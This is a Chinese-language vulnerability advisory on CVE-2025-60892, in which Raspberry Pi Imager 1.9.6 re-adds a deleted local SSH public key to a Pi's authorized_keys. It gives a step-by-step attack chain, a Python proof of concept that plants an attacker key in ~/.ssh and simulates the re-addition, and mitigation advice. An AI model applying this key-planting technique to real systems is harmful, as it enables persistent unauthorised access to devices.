IPBUF安全漏洞报告
English
CVE-2025-60892 CVSS 6.8 中危

CVE-2025-60892: Raspberry Pi Imager公钥认证密钥重新添加漏洞

披露日期: 2025-11-03

漏洞信息

漏洞编号
CVE-2025-60892
漏洞类型
配置错误/设计缺陷
CVSS评分
6.8 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Raspberry Pi Imager 1.9.6 (Windows)

相关标签

配置错误设计缺陷SSH公钥认证Raspberry Pi Imagerauthorized_keys密钥管理本地攻击未授权访问Windows平台CVE-2025-60892

漏洞概述

CVE-2025-60892是影响Raspberry Pi Imager 1.9.6版本(Windows平台)的安全漏洞。该漏洞存在于软件的OS自定义功能中的「公钥认证」(public-key authentication)设置模块。问题核心在于:当用户在Raspberry Pi Imager的用户界面中配置SSH公钥认证并添加了本地Windows机器的id_rsa.pub密钥后,即使用户后续在界面上明确删除了该密钥,imager仍然会在镜像烧录过程中「意外地」重新将用户的公钥添加到目标Raspberry Pi设备的authorized_keys文件中。这种行为违背了用户的明确意图,创造了严重的安全隐患。攻击者可能利用这一设计缺陷,使用与用户预期不同的SSH密钥对设备进行未授权访问。由于该漏洞允许攻击者在用户不知情的情况下维持对设备的访问权限,因此具有较高的机密性影响(CVSS C:H),但完整性影响较低(I:L),可用性影响为无(A:N)。

技术细节

Raspberry Pi Imager在处理SSH公钥认证时存在设计缺陷。漏洞原理如下:当用户通过imager的OS自定义功能设置公钥认证时,软件会将用户指定的公钥(或从本地系统读取的id_rsa.pub)写入到镜像的配置文件或直接写入到目标设备的/etc/dropbear/authorized_keys或~/.ssh/authorized_keys文件中。问题出现在用户编辑阶段——当用户删除了之前添加的公钥后,imager的内部逻辑未能正确更新其配置状态。在下一次烧录或应用自定义设置时,imager会重新读取本地Windows系统的id_rsa.pub文件(如果存在),并将其强制添加到authorized_keys中,绕过用户的删除操作。攻击者利用此漏洞的方式:攻击者需要预先获得对目标用户Windows系统的有限访问权限,在用户的~/.ssh/目录下植入恶意公钥。由于imager会重新添加本地id_rsa.pub,即使原始合法密钥被删除,攻击者的恶意公钥也会被imager重新部署到Raspberry Pi上,从而实现持久化未授权访问。攻击向量为本地(AV:L),无需额外认证(PR:N)或用户交互(UI:N)。

攻击链分析

STEP 1
步骤1
攻击者获得对目标用户Windows系统的有限访问权限
STEP 2
步骤2
攻击者在用户的~/.ssh/目录下植入恶意SSH公钥(id_rsa.pub)
STEP 3
步骤3
用户使用Raspberry Pi Imager 1.9.6配置OS自定义,设置公钥认证
STEP 4
步骤4
用户通过imager界面添加或编辑公钥配置
STEP 5
步骤5
用户决定删除某个不需要的公钥,从imager界面移除
STEP 6
步骤6
Raspberry Pi Imager在后台烧录过程中,重新读取本地id_rsa.pub并将其添加到Raspberry Pi的authorized_keys文件中,绕过用户的删除操作
STEP 7
步骤7
攻击者使用对应的恶意私钥,通过SSH公钥认证成功登录到Raspberry Pi设备,实现未授权访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-60892 PoC - Raspberry Pi Imager Key Re-addition Attack # This PoC demonstrates the vulnerability where Raspberry Pi Imager # re-adds deleted SSH public keys during OS customization import os import shutil from pathlib import Path def setup_malicious_key(): """ Setup phase: Place a malicious SSH public key in user's .ssh directory This simulates an attacker with local access to the Windows system """ user_ssh_dir = Path.home() / '.ssh' user_ssh_dir.mkdir(exist_ok=True) # Malicious public key (attacker controls the corresponding private key) malicious_pub_key = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7...attacker_key" with open(user_ssh_dir / 'id_rsa.pub', 'w') as f: f.write(malicious_pub_key) print(f"[+] Placed malicious key in {user_ssh_dir / 'id_rsa.pub'}") def simulate_imager_behavior(): """ Simulates Raspberry Pi Imager's vulnerable behavior: Re-reading and re-adding the public key even after user deletion """ user_ssh_dir = Path.home() / '.ssh' authorized_keys_path = Path('/tmp/pi_authorized_keys') # Simulated target # Simulate user deleting the key from imager UI print("[*] User deletes the SSH key from Raspberry Pi Imager UI...") # Simulate imager reading local id_rsa.pub local_key_path = user_ssh_dir / 'id_rsa.pub' if local_key_path.exists(): with open(local_key_path, 'r') as f: key_content = f.read() # VULNERABILITY: Imager re-adds the key despite user deletion print("[!] VULNERABILITY: Raspberry Pi Imager re-adds the key!") print(f"[*] Writing key to {authorized_keys_path}") with open(authorized_keys_path, 'a') as f: f.write(key_content + '\n') print("[+] Malicious key has been re-added to authorized_keys") print("[*] Attacker can now use their private key to access the Raspberry Pi") def cleanup(): """Cleanup test artifacts""" cleanup_path = Path.home() / '.ssh' / 'id_rsa.pub' if cleanup_path.exists(): cleanup_path.unlink() print("[*] Cleaned up test key") if __name__ == '__main__': print("=== CVE-2025-60892 PoC ===") print("Raspberry Pi Imager Public Key Re-addition Vulnerability\n") setup_malicious_key() simulate_imager_behavior() cleanup() print("\n[!] Note: This PoC demonstrates the vulnerability concept.") print("[!] Real attack requires:") print(" 1. Local access to Windows system") print(" 2. User using Raspberry Pi Imager 1.9.6") print(" 3. Attacker possesses corresponding private key")

影响范围

Raspberry Pi Imager < 1.9.6 (可能受影响)
Raspberry Pi Imager = 1.9.6 (确认受影响)

防御指南

临时缓解措施
由于该漏洞是设计缺陷导致的,官方补丁发布前,用户可以采取以下缓解措施:1) 在使用Raspberry Pi Imager前,临时重命名或移除Windows系统中的~/.ssh/id_rsa和id_rsa.pub文件,防止imager读取;2) 手动编辑烧录后的镜像或直接通过SSH修改authorized_keys文件,确保只包含预期的公钥;3) 使用Raspberry Pi Imager时,避免使用本机现有的SSH密钥对,而是手动生成专用密钥对并在imager完成后手动部署;4) 定期检查Raspberry Pi设备的SSH配置,删除任何未经授权的密钥。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表